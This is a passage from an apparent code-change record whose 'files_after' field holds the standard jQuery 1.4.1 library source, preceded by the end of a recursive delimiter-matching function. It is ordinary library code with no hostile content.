delimStart]);\n                    if (vN[3]) output.push([vN[3], str.slice(delimStart,   delimEnd),   delimStart,   delimEnd]);\n                } else {\n                    output.push(str.slice(innerStart, delimStart));\n                }\n                lastOuterEnd = delimEnd;\n                if (!global)\n                    break;\n            }\n        } else {\n            // reset lastIndex in case delimiters were provided as regexes\n            left.lastIndex = right.lastIndex = 0;\n            throw Error(\"subject data contains unbalanced delimiters\");\n        }\n\n        // if the delimiter matched an empty string, advance delimEnd to avoid an infinite loop\n        if (delimStart === delimEnd)\n            delimEnd++;\n    }\n\n    if (global && !sticky && vN && vN[0] && str.length > lastOuterEnd)\n        output.push([vN[0], str.slice(lastOuterEnd), lastOuterEnd, str.length]);\n\n    // reset lastIndex in case delimiters were provided as regexes\n    left.lastIndex = right.lastIndex = 0;\n\n    return output;\n};\n"}, "files_after": {"public/javascripts/jquery.js": "/*!\n * jQuery JavaScript Library v1.4.1\n * http://jquery.com/\n *\n * Copyright 2010, John Resig\n * Dual licensed under the MIT or GPL Version 2 licenses.\n * http://jquery.org/license\n *\n * Includes Sizzle.js\n * http://sizzlejs.com/\n * Copyright 2010, The Dojo Foundation\n * Released under the MIT, BSD, and GPL Licenses.\n *\n * Date: Mon Jan 25 19:43:33 2010 -0500\n */\n(function( window, undefined ) {\n\n// Define a local copy of jQuery\nvar jQuery = function( selector, context ) {\n\t\t// The jQuery object is actually just the init constructor 'enhanced'\n\t\treturn new jQuery.fn.init( selector, context );\n\t},\n\n\t// Map over jQuery in case of overwrite\n\t_jQuery = window.jQuery,\n\n\t// Map over the $ in case of overwrite\n\t_$ = window.$,\n\n\t// Use the correct document accordingly with window argument (sandbox)\n\tdocument = window.document,\n\n\t// A central reference to the root jQuery(document)\n\trootjQuery,\n\n\t// A simple way to check for HTML strings or ID strings\n\t// (both of which we optimize for)\n\tquickExpr = /^[^<]*(<[\\w\\W]+>)[^>]*$|^#([\\w-]+)$/,\n\n\t// Is it a simple selector\n\tisSimple = /^.[^:#\\[\\.,]*$/,\n\n\t// Check if a string has a non-whitespace character in it\n\trnotwhite = /\\S/,\n\n\t// Used for trimming whitespace\n\trtrim = /^(\\s|\\u00A0)+|(\\s|\\u00A0)+$/g,\n\n\t// Match a standalone tag\n\trsingleTag = /^<(\\w+)\\s*\\/?>(?:<\\/\\1>)?$/,\n\n\t// Keep a UserAgent string for use with jQuery.browser\n\tuserAgent = navigator.userAgent,\n\n\t// For matching the engine and version of the browser\n\tbrowserMatch,\n\n\t// Has the ready events already been bound?\n\treadyBound = false,\n\n\t// The functions to execute on DOM ready\n\treadyList = [],\n\n\t// The ready event handler\n\tDOMContentLoaded,\n\n\t// Save a reference to some core methods\n\ttoString = Object.prototype.toString,\n\thasOwnProperty = Object.prototype.hasOwnProperty,\n\tpush = Array.prototype.push,\n\tslice = Array.prototype.slice,\n\tindexOf = Array.prototype.indexOf;\n\njQuery.fn = jQuery.prototype = {\n\tinit: function( selector, context ) {\n\t\tvar match, elem, ret, doc;\n\n\t\t// Handle $(\"\"), $(null), or $(undefined)\n\t\tif ( !selector ) {\n\t\t\treturn this;\n\t\t}\n\n\t\t// Handle $(DOMElement)\n\t\tif ( selector.nodeType ) {\n\t\t\tthis.context = this[0] = selector;\n\t\t\tthis.length = 1;\n\t\t\treturn this;\n\t\t}\n\n\t\t// Handle HTML strings\n\t\tif ( typeof selector === \"string\" ) {\n\t\t\t// Are we dealing with HTML string or an ID?\n\t\t\tmatch = quickExpr.exec( selector );\n\n\t\t\t// Verify a match, and that no context was specified for #id\n\t\t\tif ( match && (match[1] || !context) ) {\n\n\t\t\t\t// HANDLE: $(html) -> $(array)\n\t\t\t\tif ( match[1] ) {\n\t\t\t\t\tdoc = (context ? context.ownerDocument || context : document);\n\n\t\t\t\t\t// If a single string is passed in and it's a single tag\n\t\t\t\t\t// just do a createElement and skip the rest\n\t\t\t\t\tret = rsingleTag.exec( selector );\n\n\t\t\t\t\tif ( ret ) {\n\t\t\t\t\t\tif ( jQuery.isPlainObject( context ) ) {\n\t\t\t\t\t\t\tselector = [ document.createElement( ret[1] ) ];\n\t\t\t\t\t\t\tjQuery.fn.attr.call( selector, context, true );\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tselector = [ doc.createElement( ret[1] ) ];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tret = buildFragment( [ match[1] ], [ doc ] );\n\t\t\t\t\t\tselector = (ret.cacheable ? ret.fragment.cloneNode(true) : ret.fragment).childNodes;\n\t\t\t\t\t}\n\n\t\t\t\t// HANDLE: $(\"#id\")\n\t\t\t\t} else {\n\t\t\t\t\telem = document.getElementById( match[2] );\n\n\t\t\t\t\tif ( elem ) {\n\t\t\t\t\t\t// Handle the case where IE and Opera return items\n\t\t\t\t\t\t// by name instead of ID\n\t\t\t\t\t\tif ( elem.id !== match[2] ) {\n\t\t\t\t\t\t\treturn rootjQuery.find( selector );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Otherwise, we inject the element directly into the jQuery object\n\t\t\t\t\t\tthis.length = 1;\n\t\t\t\t\t\tthis[0] = elem;\n\t\t\t\t\t}\n\n\t\t\t\t\tthis.context = document;\n\t\t\t\t\tthis.selector = selector;\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\n\t\t\t// HANDLE: $(\"TAG\")\n\t\t\t} else if ( !context && /^\\w+$/.test( selector ) ) {\n\t\t\t\tthis.selector = selector;\n\t\t\t\tthis.context = document;\n\t\t\t\tselector = document.getElementsByTagName( selector );\n\n\t\t\t// HANDLE: $(expr, $(...))\n\t\t\t} else if ( !context || context.jquery ) {\n\t\t\t\treturn (context || rootjQuery).find( selector );\n\n\t\t\t// HANDLE: $(expr, context)\n\t\t\t// (which is just equivalent to: $(context).find(expr)\n\t\t\t} else {\n\t\t\t\treturn jQuery( context ).find( selector );\n\t\t\t}\n\n\t\t// HANDLE: $(function)\n\t\t// Shortcut for document ready\n\t\t} else if ( jQuery.isFunction( selector ) ) {\n\t\t\treturn rootjQuery.ready( selector );\n\t\t}\n\n\t\tif (selector.selector !== undefined) {\n\t\t\tthis.selector = selector.selector;\n\t\t\tthis.context = selector.context;\n\t\t}\n\n\t\treturn jQuery.isArray( selector ) ?\n\t\t\tthis.setArray( selector ) :\n\t\t\tjQuery.makeArray( selector, this );\n\t},\n\n\t// Start with an empty selector\n\tselector: \"\",\n\n\t// The current version of jQuery being used\n\tjquery: \"1.4.1\",\n\n\t// The default length of a jQuery object is 0\n\tlength: 0,\n\n\t// The number of elements contained in the matched element set\n\tsize: function() {\n\t\treturn this.length;\n\t},\n\n\ttoArray: function() {\n\t\treturn slice.call( this, 0 );\n\t},\n\n\t// Get the Nth element in the matched element set OR\n\t// Get the whole matched element set as a clean array\n\tget: function( num ) {\n\t\treturn num == null ?\n\n\t\t\t// Return a 'clean' array\n\t\t\tthis.toArray() :\n\n\t\t\t// Return just the object\n\t\t\t( num < 0 ? this.slice(num)[ 0 ] : this[ num ] );\n\t},\n\n\t// Take an array of elements and push it onto the stack\n\t// (returning the new matched element set)\n\tpushStack: function( elems, name, selector ) {\n\t\t// Build a new jQuery matched element set\n\t\tvar ret = jQuery( elems || null );\n\n\t\t// Add the old object onto the stack (as a reference)\n\t\tret.prevObject = this;\n\n\t\tret.context = this.context;\n\n\t\tif ( name === \"find\" ) {\n\t\t\tret.selector = this.selector + (this.selector ? \" \" : \"\") + selector;\n\t\t} else if ( name ) {\n\t\t\tret.selector = this.selector + \".\" + name + \"(\" + selector + \")\";\n\t\t}\n\n\t\t// Return the newly-formed element set\n\t\treturn ret;\n\t},\n\n\t// Force the current matched set of elements to become\n\t// the specified array of elements (destroying the stack in the process)\n\t// You should use pushStack() in order to do this, but maintain the stack\n\tsetArray: function( elems ) {\n\t\t// Resetting the length to 0, then using the native Array push\n\t\t// is a super-fast way to populate an object with array-like properties\n\t\tthis.length = 0;\n\t\tpush.apply( this, elems );\n\n\t\treturn this;\n\t},\n\n\t// Execute a callback for every element in the matched set.\n\t// (You can seed the arguments with an array of args, but this is\n\t// only used internally.)\n\teach: function( callback, args ) {\n\t\treturn jQuery.each( this, callback, args );\n\t},\n\n\tready: function( fn ) {\n\t\t// Attach the listeners\n\t\tjQuery.bindReady();\n\n\t\t// If the DOM is already ready\n\t\tif ( jQuery.isReady ) {\n\t\t\t// Execute the function immediately\n\t\t\tfn.call( document, jQuery );\n\n\t\t// Otherwise, remember the function for later\n\t\t} else if ( readyList ) {\n\t\t\t// Add the function to the wait list\n\t\t\treadyList.push( fn );\n\t\t}\n\n\t\treturn this;\n\t},\n\n\teq: function( i ) {\n\t\treturn i === -1 ?\n\t\t\tthis.slice( i ) :\n\t\t\tthis.slice( i, +i + 1 );\n\t},\n\n\tfirst: function() {\n\t\treturn this.eq( 0 );\n\t},\n\n\tlast: function() {\n\t\treturn this.eq( -1 );\n\t},\n\n\tslice: function() {\n\t\treturn this.pushStack( slice.apply( this, arguments ),\n\t\t\t\"slice\", slice.call(arguments).join(\",\") );\n\t},\n\n\tmap: function( callback ) {\n\t\treturn this.pushStack( jQuery.map(this, function( elem, i ) {\n\t\t\treturn callback.call( elem, i, elem );\n\t\t}));\n\t},\n\n\tend: function() {\n\t\treturn this.prevObject || jQuery(null);\n\t},\n\n\t// For internal use only.\n\t// Behaves like an Array's method, not like a jQuery method.\n\tpush: push,\n\tsort: [].sort,\n\tsplice: [].splice\n};\n\n// Give the init function the jQuery prototype for later instantiation\njQuery.fn.init.prototype = jQuery.fn;\n\njQuery.extend = jQuery.fn.extend = function() {\n\t// copy reference to target object\n\tvar target = arguments[0] || {}, i = 1, length = arguments.length, deep = false, options, name, src, copy;\n\n\t// Handle a deep copy situation\n\tif ( typeof target === \"boolean\" ) {\n\t\tdeep = target;\n\t\ttarget = arguments[1] || {};\n\t\t// skip the boolean and the target\n\t\ti = 2;\n\t}\n\n\t// Handle case when target is a string or something (possible in deep copy)\n\tif ( typeof target !== \"object\" && !jQuery.isFunction(target) ) {\n\t\ttarget = {};\n\t}\n\n\t// extend jQuery itself if only one argument is passed\n\tif ( length === i ) {\n\t\ttarget = this;\n\t\t--i;\n\t}\n\n\tfor ( ; i < length; i++ ) {\n\t\t// Only deal with non-null/undefined values\n\t\tif ( (options = arguments[ i ]) != null ) {\n\t\t\t// Extend the base object\n\t\t\tfor ( name in options ) {\n\t\t\t\tsrc = target[ name ];\n\t\t\t\tcopy = options[ name ];\n\n\t\t\t\t// Prevent never-ending loop\n\t\t\t\tif ( target === copy ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t// Recurse if we're merging object literal values or arrays\n\t\t\t\tif ( deep && copy && ( jQuery.isPlainObject(copy) || jQuery.isArray(copy) ) ) {\n\t\t\t\t\tvar clone = src && ( jQuery.isPlainObject(src) || jQuery.isArray(src) ) ? src\n\t\t\t\t\t\t: jQuery.isArray(copy) ? [] : {};\n\n\t\t\t\t\t// Never move original objects, clone them\n\t\t\t\t\ttarget[ name ] = jQuery.extend( deep, clone, copy );\n\n\t\t\t\t// Don't bring in undefined values\n\t\t\t\t} else if ( copy !== undefined ) {\n\t\t\t\t\ttarget[ name ] = copy;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Return the modified object\n\treturn target;\n};\n\njQuery.extend({\n\tnoConflict: function( deep ) {\n\t\twindow.$ = _$;\n\n\t\tif ( deep ) {\n\t\t\twindow.jQuery = _jQuery;\n\t\t}\n\n\t\treturn jQuery;\n\t},\n\n\t// Is the DOM ready to be used? Set to true once it occurs.\n\tisReady: false,\n\n\t// Handle when the DOM is ready\n\tready: function() {\n\t\t// Make sure that the DOM is not already loaded\n\t\tif ( !jQuery.isReady ) {\n\t\t\t// Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443).\n\t\t\tif ( !document.body ) {\n\t\t\t\treturn setTimeout( jQuery.ready, 13 );\n\t\t\t}\n\n\t\t\t// Remember that the DOM is ready\n\t\t\tjQuery.isReady = true;\n\n\t\t\t// If there are functions bound, to execute\n\t\t\tif ( readyList ) {\n\t\t\t\t// Execute all of them\n\t\t\t\tvar fn, i = 0;\n\t\t\t\twhile ( (fn = readyList[ i++ ]) ) {\n\t\t\t\t\tfn.call( document, jQuery );\n\t\t\t\t}\n\n\t\t\t\t// Reset the list of functions\n\t\t\t\treadyList = null;\n\t\t\t}\n\n\t\t\t// Trigger any bound ready events\n\t\t\tif ( jQuery.fn.triggerHandler ) {\n\t\t\t\tjQuery( document ).triggerHandler( \"ready\" );\n\t\t\t}\n\t\t}\n\t},\n\n\tbindReady: function() {\n\t\tif ( readyBound ) {\n\t\t\treturn;\n\t\t}\n\n\t\treadyBound = true;\n\n\t\t// Catch cases where $(document).ready() is called after the\n\t\t// browser event has already occurred.\n\t\tif ( document.readyState === \"complete\" ) {\n\t\t\treturn jQuery.ready();\n\t\t}\n\n\t\t// Mozilla, Opera and webkit nightlies currently support this event\n\t\tif ( document.addEventListener ) {\n\t\t\t// Use the handy event callback\n\t\t\tdocument.addEventListener( \"DOMContentLoaded\", DOMContentLoaded, false );\n\n\t\t\t// A fallback to window.onload, that will always work\n\t\t\twindow.addEventListener( \"load\", jQuery.ready, false );\n\n\t\t// If IE event model is used\n\t\t} else if ( document.attachEvent ) {\n\t\t\t// ensure firing before onload,\n\t\t\t// maybe late but safe also for iframes\n\t\t\tdocument.attachEvent(\"onreadystatechange\", DOMContentLoaded);\n\n\t\t\t// A fallback to window.onload, that will always work\n\t\t\twindow.attachEvent( \"onload\", jQuery.ready );\n\n\t\t\t// If IE and not a frame\n\t\t\t// continually check to see if the document is ready\n\t\t\tvar toplevel = false;\n\n\t\t\ttry {\n\t\t\t\ttoplevel = window.frameElement == null;\n\t\t\t} catch(e) {}\n\n\t\t\tif ( document.documentElement.doScroll && toplevel ) {\n\t\t\t\tdoScrollCheck();\n\t\t\t}\n\t\t}\n\t},\n\n\t// See test/unit/core.js for details concerning isFunction.\n\t// Since version 1.3, DOM methods and functions like alert\n\t// aren't supported. They return false on IE (#2968).\n\tisFunction: function( obj ) {\n\t\treturn toString.call(obj) === \"[object Function]\";\n\t},\n\n\tisArray: function( obj ) {\n\t\treturn toString.call(obj) === \"[object Array]\";\n\t},\n\n\tisPlainObject: function( obj ) {\n\t\t// Must be an Object.\n\t\t// Because of IE, we also have to check the presence of the constructor property.\n\t\t// Make sure that DOM nodes and window objects don't pass through, as well\n\t\tif ( !obj || toString.call(obj) !== \"[object Object]\" || obj.nodeType || obj.setInterval ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// Not own constructor property must be Object\n\t\tif ( obj.constructor\n\t\t\t&& !hasOwnProperty.call(obj, \"constructor\")\n\t\t\t&& !hasOwnProperty.call(obj.constructor.prototype, \"isPrototypeOf\") ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// Own properties are enumerated firstly, so to speed up,\n\t\t// if last one is own, then all properties are own.\n\n\t\tvar key;\n\t\tfor ( key in obj ) {}\n\n\t\treturn key === undefined || hasOwnProperty.call( obj, key );\n\t},\n\n\tisEmptyObject: function( obj ) {\n\t\tfor ( var name in obj ) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t},\n\n\terror: function( msg ) {\n\t\tthrow msg;\n\t},\n\n\tparseJSON: function( data ) {\n\t\tif ( typeof data !== \"string\" || !data ) {\n\t\t\treturn null;\n\t\t}\n\n\t\t// Make sure the incoming data is actual JSON\n\t\t// Logic borrowed from http://json.org/json2.js\n\t\tif ( /^[\\],:{}\\s]*$/.test(data.replace(/\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g, \"@\")\n\t\t\t.replace(/\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g, \"]\")\n\t\t\t.replace(/(?:^|:|,)(?:\\s*\\[)+/g, \"\")) ) {\n\n\t\t\t// Try to use the native JSON parser first\n\t\t\treturn window.JSON && window.JSON.parse ?\n\t\t\t\twindow.JSON.parse( data ) :\n\t\t\t\t(new Function(\"return \" + data))();\n\n\t\t} else {\n\t\t\tjQuery.error( \"Invalid JSON: \" + data );\n\t\t}\n\t},\n\n\tnoop: function() {},\n\n\t// Evalulates a script in a global context\n\tglobalEval: function( data ) {\n\t\tif ( data && rnotwhite.test(data) ) {\n\t\t\t// Inspired by code by Andrea Giammarchi\n\t\t\t// http://webreflection.blogspot.com/2007/08/global-scope-evaluation-and-dom.html\n\t\t\tvar head = document.getElementsByTagName(\"head\")[0] || document.documentElement,\n\t\t\t\tscript = document.createElement(\"script\");\n\n\t\t\tscript.type = \"text/javascript\";\n\n\t\t\tif ( jQuery.support.scriptEval ) {\n\t\t\t\tscript.appendChild( document.createTextNode( data ) );\n\t\t\t} else {\n\t\t\t\tscript.text = data;\n\t\t\t}\n\n\t\t\t// Use insertBefore instead of appendChild to circumvent an IE6 bug.\n\t\t\t// This arises when a base node is used (#2709).\n\t\t\thead.insertBefore( script, head.firstChild );\n\t\t\thead.removeChild( script );\n\t\t}\n\t},\n\n\tnodeName: function( elem, name ) {\n\t\treturn elem.nodeName && elem.nodeName.toUpperCase() === name.toUpperCase();\n\t},\n\n\t// args is for internal usage only\n\teach: function( object, callback, args ) {\n\t\tvar name, i = 0,\n\t\t\tlength = object.length,\n\t\t\tisObj = length === undefined || jQuery.isFunction(object);\n\n\t\tif ( args ) {\n\t\t\tif ( isObj ) {\n\t\t\t\tfor ( name in object ) {\n\t\t\t\t\tif ( callback.apply( object[ name ], args ) === false ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor ( ; i < length; ) {\n\t\t\t\t\tif ( callback.apply( object[ i++ ], args ) === false ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t// A special, fast, case for the most common use of each\n\t\t} else {\n\t\t\tif ( isObj ) {\n\t\t\t\tfor ( name in object ) {\n\t\t\t\t\tif ( callback.call( object[ name ], name, object[ name ] ) === false ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor ( var value = object[0];\n\t\t\t\t\ti < length && callback.call( value, i, value ) !== false; value = object[++i] ) {}\n\t\t\t}\n\t\t}\n\n\t\treturn object;\n\t},\n\n\ttrim: function( text ) {\n\t\treturn (text || \"\").replace( rtrim, \"\" );\n\t},\n\n\t// results is for internal usage only\n\tmakeArray: function( array, results ) {\n\t\tvar ret = results || [];\n\n\t\tif ( array != null ) {\n\t\t\t// The window, strings (and functions) also have 'length'\n\t\t\t// The extra typeof function check is to prevent crashes\n\t\t\t// in Safari 2 (See: #3039)\n\t\t\tif ( array.length == null || typeof array === \"string\" || jQuery.isFunction(array) || (typeof array !== \"function\" && array.setInterval) ) {\n\t\t\t\tpush.call( ret, array );\n\t\t\t} else {\n\t\t\t\tjQuery.merge( ret, array );\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\tinArray: function( elem, array ) {\n\t\tif ( array.indexOf ) {\n\t\t\treturn array.indexOf( elem );\n\t\t}\n\n\t\tfor ( var i = 0, length = array.length; i < length; i++ ) {\n\t\t\tif ( array[ i ] === elem ) {\n\t\t\t\treturn i;\n\t\t\t}\n\t\t}\n\n\t\treturn -1;\n\t},\n\n\tmerge: function( first, second ) {\n\t\tvar i = first.length, j = 0;\n\n\t\tif ( typeof second.length === \"number\" ) {\n\t\t\tfor ( var l = second.length; j < l; j++ ) {\n\t\t\t\tfirst[ i++ ] = second[ j ];\n\t\t\t}\n\t\t} else {\n\t\t\twhile ( second[j] !== undefined ) {\n\t\t\t\tfirst[ i++ ] = second[ j++ ];\n\t\t\t}\n\t\t}\n\n\t\tfirst.length = i;\n\n\t\treturn first;\n\t},\n\n\tgrep: function( elems, callback, inv ) {\n\t\tvar ret = [];\n\n\t\t// Go through the array, only saving the items\n\t\t// that pass the validator function\n\t\tfor ( var i = 0, length = elems.length; i < length; i++ ) {\n\t\t\tif ( !inv !== !callback( elems[ i ], i ) ) {\n\t\t\t\tret.push( elems[ i ] );\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\t// arg is for internal usage only\n\tmap: function( elems, callback, arg ) {\n\t\tvar ret = [], value;\n\n\t\t// Go through the array, translating each of the items to their\n\t\t// new value (or values).\n\t\tfor ( var i = 0, length = elems.length; i < length; i++ ) {\n\t\t\tvalue = callback( elems[ i ], i, arg );\n\n\t\t\tif ( value != null ) {\n\t\t\t\tret[ ret.length ] = value;\n\t\t\t}\n\t\t}\n\n\t\treturn ret.concat.apply( [], ret );\n\t},\n\n\t// A global GUID counter for objects\n\tguid: 1,\n\n\tproxy: function( fn, proxy, thisObject ) {\n\t\tif ( arguments.length === 2 ) {\n\t\t\tif ( typeof proxy === \"string\" ) {\n\t\t\t\tthisObject = fn;\n\t\t\t\tfn = thisObject[ proxy ];\n\t\t\t\tproxy = undefined;\n\n\t\t\t} else if ( proxy && !jQuery.isFunction( proxy ) ) {\n\t\t\t\tthisObject = proxy;\n\t\t\t\tproxy = undefined;\n\t\t\t}\n\t\t}\n\n\t\tif ( !proxy && fn ) {\n\t\t\tproxy = function() {\n\t\t\t\treturn fn.apply( thisObject || this, arguments );\n\t\t\t};\n\t\t}\n\n\t\t// Set the guid of unique handler to the same of original handler, so it can be removed\n\t\tif ( fn ) {\n\t\t\tproxy.guid = fn.guid = fn.guid || proxy.guid || jQuery.guid++;\n\t\t}\n\n\t\t// So proxy can be declared as an argument\n\t\treturn proxy;\n\t},\n\n\t// Use of jQuery.browser is frowned upon.\n\t// More details: http://docs.jquery.com/Utilities/jQuery.browser\n\tuaMatch: function( ua ) {\n\t\tua = ua.toLowerCase();\n\n\t\tvar match = /(webkit)[ \\/]([\\w.]+)/.exec( ua ) ||\n\t\t\t/(opera)(?:.*version)?[ \\/]([\\w.]+)/.exec( ua ) ||\n\t\t\t/(msie) ([\\w.]+)/.exec( ua ) ||\n\t\t\t!/compatible/.test( ua ) && /(mozilla)(?:.*? rv:([\\w.]+))?/.exec( ua ) ||\n\t\t  \t[];\n\n\t\treturn { browser: match[1] || \"\", version: match[2] || \"0\" };\n\t},\n\n\tbrowser: {}\n});\n\nbrowserMatch = jQuery.uaMatch( userAgent );\nif ( browserMatch.browser ) {\n\tjQuery.browser[ browserMatch.browser ] = true;\n\tjQuery.browser.version = browserMatch.version;\n}\n\n// Deprecated, use jQuery.browser.webkit instead\nif ( jQuery.browser.webkit ) {\n\tjQuery.browser.safari = true;\n}\n\nif ( indexOf ) {\n\tjQuery.inArray = function( elem, array ) {\n\t\treturn indexOf.call( array, elem );\n\t};\n}\n\n// All jQuery objects should point back to these\nrootjQuery = jQuery(document);\n\n// Cleanup functions for the document ready method\nif ( document.addEventListener ) {\n\tDOMContentLoaded = function() {\n\t\tdocument.removeEventListener( \"DOMContentLoaded\", DOMContentLoaded, false );\n\t\tjQuery.ready();\n\t};\n\n} else if ( document.attachEvent ) {\n\tDOMContentLoaded = function() {\n\t\t// Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443).\n\t\tif ( document.readyState === \"complete\" ) {\n\t\t\tdocument.detachEvent( \"onreadystatechange\", DOMContentLoaded );\n\t\t\tjQuery.ready();\n\t\t}\n\t};\n}\n\n// The DOM ready check for Internet Explorer\nfunction doScrollCheck() {\n\tif ( jQuery.isReady ) {\n\t\treturn;\n\t}\n\n\ttry {\n\t\t// If IE is used, use the trick by Diego Perini\n\t\t// http://javascript.nwbox.com/IEContentLoaded/\n\t\tdocument.documentElement.doScroll(\"left\");\n\t} catch( error ) {\n\t\tsetTimeout( doScrollCheck, 1 );\n\t\treturn;\n\t}\n\n\t// and execute any waiting functions\n\tjQuery.ready();\n}\n\nfunction evalScript( i, elem ) {\n\tif ( elem.src ) {\n\t\tjQuery.ajax({\n\t\t\turl: elem.src,\n\t\t\tasync: false,\n\t\t\tdataType: \"script\"\n\t\t});\n\t} else {\n\t\tjQuery.globalEval( elem.text || elem.textContent || elem.innerHTML || \"\" );\n\t}\n\n\tif ( elem.parentNode ) {\n\t\telem.parentNode.removeChild( elem );\n\t}\n}\n\n// Mutifunctional method to get and set values to a collection\n// The value/s can be optionally by executed if its a function\nfunction access( elems, key, value, exec, fn, pass ) {\n\tvar length = elems.length;\n\n\t// Setting many attributes\n\tif ( typeof key === \"object\" ) {\n\t\tfor ( var k in key ) {\n\t\t\taccess( elems, k, key[k], exec, fn, value );\n\t\t}\n\t\treturn elems;\n\t}\n\n\t// Setting one attribute\n\tif ( value !== undefined ) {\n\t\t// Optionally, function values get executed if exec is true\n\t\texec = !pass && exec && jQuery.isFunction(value);\n\n\t\tfor ( var i = 0; i < length; i++ ) {\n\t\t\tfn( elems[i], key, exec ? value.call( elems[i], i, fn( elems[i], key ) ) : value, pass );\n\t\t}\n\n\t\treturn elems;\n\t}\n\n\t// Getting an attribute\n\treturn length ? fn( elems[0], key ) : null;\n}\n\nfunction now() {\n\treturn (new Date).getTime();\n}\n(function() {\n\n\tjQuery.support = {};\n\n\tvar root = document.documentElement,\n\t\tscript = document.createElement(\"script\"),\n\t\tdiv = document.createElement(\"div\"),\n\t\tid = \"script\" + now();\n\n\tdiv.style.display = \"none\";\n\tdiv.innerHTML = \"   <link/><table></table><a href='/a' style='color:red;float:left;opacity:.55;'>a</a><input type='checkbox'/>\";\n\n\tvar all = div.getElementsByTagName(\"*\"),\n\t\ta = div.getElementsByTagName(\"a\")[0];\n\n\t// Can't get basic test support\n\tif ( !all || !all.length || !a ) {\n\t\treturn;\n\t}\n\n\tjQuery.support = {\n\t\t// IE strips leading whitespace when .innerHTML is used\n\t\tleadingWhitespace: div.firstChild.nodeType === 3,\n\n\t\t// Make sure that tbody elements aren't automatically inserted\n\t\t// IE will insert them into empty tables\n\t\ttbody: !div.getElementsByTagName(\"tbody\").length,\n\n\t\t// Make sure that link elements get serialized correctly by innerHTML\n\t\t// This requires a wrapper element in IE\n\t\thtmlSerialize: !!div.getElementsByTagName(\"link\").length,\n\n\t\t// Get the style information from getAttribute\n\t\t// (IE uses .cssText insted)\n\t\tstyle: /red/.test( a.getAttribute(\"style\") ),\n\n\t\t// Make sure that URLs aren't manipulated\n\t\t// (IE normalizes it by default)\n\t\threfNormalized: a.getAttribute(\"href\") === \"/a\",\n\n\t\t// Make sure that element opacity exists\n\t\t// (IE uses filter instead)\n\t\t// Use a regex to work around a WebKit issue. See #5145\n\t\topacity: /^0.55$/.test( a.style.opacity ),\n\n\t\t// Verify style float existence\n\t\t// (IE uses styleFloat instead of cssFloat)\n\t\tcssFloat: !!a.style.cssFloat,\n\n\t\t// Make sure that if no value is specified for a checkbox\n\t\t// that it defaults to \"on\".\n\t\t// (WebKit defaults to \"\" instead)\n\t\tcheckOn: div.getElementsByTagName(\"input\")[0].value === \"on\",\n\n\t\t// Make sure that a selected-by-default option has a working selected property.\n\t\t// (WebKit defaults to false instead of true, IE too, if it's in an optgroup)\n\t\toptSelected: document.createElement(\"select\").appendChild( document.createElement(\"option\") ).selected,\n\n\t\t// Will be defined later\n\t\tcheckClone: false,\n\t\tscriptEval: false,\n\t\tnoCloneEvent: true,\n\t\tboxModel: null\n\t};\n\n\tscript.type = \"text/javascript\";\n\ttry {\n\t\tscript.appendChild( document.createTextNode( \"window.\" + id + \"=1;\" ) );\n\t} catch(e) {}\n\n\troot.insertBefore( script, root.firstChild );\n\n\t// Make sure that the execution of code works by injecting a script\n\t// tag with appendChild/createTextNode\n\t// (IE doesn't support this, fails, and uses .text instead)\n\tif ( window[ id ] ) {\n\t\tjQuery.support.scriptEval = true;\n\t\tdelete window[ id ];\n\t}\n\n\troot.removeChild( script );\n\n\tif ( div.attachEvent && div.fireEvent ) {\n\t\tdiv.attachEvent(\"onclick\", function click() {\n\t\t\t// Cloning a node shouldn't copy over any\n\t\t\t// bound event handlers (IE does this)\n\t\t\tjQuery.support.noCloneEvent = false;\n\t\t\tdiv.detachEvent(\"onclick\", click);\n\t\t});\n\t\tdiv.cloneNode(true).fireEvent(\"onclick\");\n\t}\n\n\tdiv = document.createElement(\"div\");\n\tdiv.innerHTML = \"<input type='radio' name='radiotest' checked='checked'/>\";\n\n\tvar fragment = document.createDocumentFragment();\n\tfragment.appendChild( div.firstChild );\n\n\t// WebKit doesn't clone checked state correctly in fragments\n\tjQuery.support.checkClone = fragment.cloneNode(true).cloneNode(true).lastChild.checked;\n\n\t// Figure out if the W3C box model works as expected\n\t// document.body must exist before we can do this\n\tjQuery(function() {\n\t\tvar div = document.createElement(\"div\");\n\t\tdiv.style.width = div.style.paddingLeft = \"1px\";\n\n\t\tdocument.body.appendChild( div );\n\t\tjQuery.boxModel = jQuery.support.boxModel = div.offsetWidth === 2;\n\t\tdocument.body.removeChild( div ).style.display = 'none';\n\t\tdiv = null;\n\t});\n\n\t// Technique from Juriy Zaytsev\n\t// http://thinkweb2.com/projects/prototype/detecting-event-support-without-browser-sniffing/\n\tvar eventSupported = function( eventName ) {\n\t\tvar el = document.createElement(\"div\");\n\t\teventName = \"on\" + eventName;\n\n\t\tvar isSupported = (eventName in el);\n\t\tif ( !isSupported ) {\n\t\t\tel.setAttribute(eventName, \"return;\");\n\t\t\tisSupported = typeof el[eventName] === \"function\";\n\t\t}\n\t\tel = null;\n\n\t\treturn isSupported;\n\t};\n\n\tjQuery.support.submitBubbles = eventSupported(\"submit\");\n\tjQuery.support.changeBubbles = eventSupported(\"change\");\n\n\t// release memory in IE\n\troot = script = div = all = a = null;\n})();\n\njQuery.props = {\n\t\"for\": \"htmlFor\",\n\t\"class\": \"className\",\n\treadonly: 